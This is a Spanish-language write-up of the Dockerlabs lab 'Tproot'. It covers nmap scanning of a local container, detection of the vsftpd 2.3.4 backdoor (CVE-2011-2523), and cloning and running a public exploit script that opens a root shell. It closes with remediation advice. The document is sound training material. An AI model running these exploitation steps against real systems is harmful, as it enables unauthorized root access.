

## 2-tproot

### Lab: Tproot

#### Resumen

**Plataforma:** Dockerlabs

**OS:** Linux

**Nivel:** Muy Fácil

**Cadena de Ataque:** Escaneo de puertos → Detección de vsftpd 2.3.4 vulnerable → Explotación de backdoor (CVE-2011-2523)  accede como root

### Ejecución y Explotación

#### ☐ 1. Reconocimiento y enumeración

Realizamos el escaneo inicial con nmap con el comando:

```
sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2
```

Nos da como resultado lo siguiente

```
└─$ sudo nmap -p- -sS -sC -sV --min-rate 5000 -n -vvv -Pn 172.17.0.2
[sudo] contraseña para kali:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-18 22:24 -0500
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Initiating ARP Ping Scan at 22:24
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 22:24, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:24
Scanning 172.17.0.2 [65535 ports]
Discovered open port 21/tcp on 172.17.0.2
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 22:24, 0.83s elapsed (65535 total ports)
Initiating Service scan at 22:24
Scanning 2 services on 172.17.0.2
Completed Service scan at 22:24, 6.03s elapsed (2 services on 1 host)
NSE: Script scanning 172.17.0.2.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.05s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.21s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:24
Completed NSE at 22:24, 0.00s elapsed
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.0000060s latency).
Scanned at 2026-03-18 22:24:26 -05 for 7s
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE REASON          VERSION
21/tcp    open  ftp      syn-ack ttl 64  vsftpd 2.3.4
|_ftp-anon: got code 500 "OOPS: cannot change directory:/var/ftp".
80/tcp    open  http     syn-ack ttl 64  Apache httpd 2.4.58 ((Ubuntu))
|_http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Unix
```

Nos muestra que hay 2 servicios corriendo en donde podemos empezar a buscar cositas, el primero el de ftp, y el segundo el de http, el segundo nos indica que puede haber alojada una pagina web.

## ☐ 2. Reconocimiento y escaneo dirigido

Ahora vamos a realizar escaneos dirigidos a esos puertos asociados a los servicios que esta activos vistos anteriormente. utilizamos el siguiente comando:

```
sudo nmap -p80 --script=vuln 172.17.0.2
```

El resultado fue

```
(kali㉿kali)-[~/Escritorio]
$ sudo nmap -p80 --script=vuln 172.17.0.2
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-18 22:46 -0500
Nmap scan report for asucar.dl (172.17.0.2)
Host is up (0.000034s latency).

PORT      STATE SERVICE
80/tcp    open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 28.15 seconds

(kali㉿kali)-[~/Escritorio]
$
```

No a encontrado nada inicialmente por el puerto 80. Vamos con el otro escaneo al otro puerto

```
sudo nmap -p21 --script=vuln 172.17.0.2
```

Vemos que a encontrado algo interesante

```
(kali㉿kali)-[~/Escritorio]
$ sudo nmap -p21 --script=vuln 172.17.0.2
[sudo] contraseña para kali:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-18 22:41 -0500
Nmap scan report for asucar.dl (172.17.0.2)
Host is up (0.000041s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
|_ftp-vsftpd-backdoor:
|_  VULNERABLE:
|_  vsFTPD version 2.3.4 backdoor
|_    State: VULNERABLE (Exploitable)
|_    IDs: CVE:CVE-2011-2523 BID:48539
|_    vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|_    Disclosure date: 2011-07-03
|_    Exploit results:
|_      Shell command: id
|_      Results: uid=0(root) gid=0(root) groups=0(root)
|_    References:
|_      http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
|_      https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_      https://www.securityfocus.com/bid/48539
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 8.45 seconds
```

Tenemos un CVE para investigar y explotar, vamos a ello!

### ☐ 3. CVE encontrado

-Vamos a realizar una investigación y explotación de la vulnerabilidad encontrada anteriormente.

-"La versión vsftpd 2.3.4 descargada entre el 30/06/2011 y el 03/07/2011 contiene una puerta trasera que abre una shell en el puerto 6200/tcp."

-Encontramos que esta vulnerabilidad nos permite ejecutar una puerta trasera aprovechándonos de este fallo de seguridad en el protocolo ftp.

-Encontramos un script que podemos utilizar para intentar vulnerar el protocolo, para utilizarlo debemos hacer lo siguiente:

```
sudo apt update
sudo apt install python3

git clone https://github.com/BolivarJ/CVE-2011-2523.git
cd CVE-2011-2523
chmod +x exploit.py

python3 exploit.py <TARGET_IP>
```

A funcionado, bingo, ya somos root!!!

```
(kali㉿kali)-[~/Escritorio/CVE-2011-2523]
$ python3 exploit.py 172.17.0.2
[+] Connecting to FTP on 172.17.0.2:21
[+] Waiting for backdoor to activate ...
[+] Backdoor shell opened!
shell> whoami
root
shell> █
```

---

## Lecciones Aprendidas & Blue Team

- **Concepto Nuevo:**
  - Aprendí a identificar versiones de servicios vulnerables mediante scripts de Nmap ( `--script=vuln` ).
  - Descubrí el CVE-2011-2523 que afecta a vsftpd 2.3.4 y cómo explotarlo para obtener una shell root.
- **Cómo Parcharlo (Fix):**
  - Actualizar vsftpd a una versión superior a la 2.3.4 (por ejemplo, 2.3.5 o posterior) que no contenga la puerta trasera.
  - Si no es posible actualizar, deshabilitar el servicio FTP o restringir el acceso mediante firewall solo a IPs confiables.
  - Utilizar siempre versiones estables y oficiales del software, evitando descargas de fuentes no verificadas.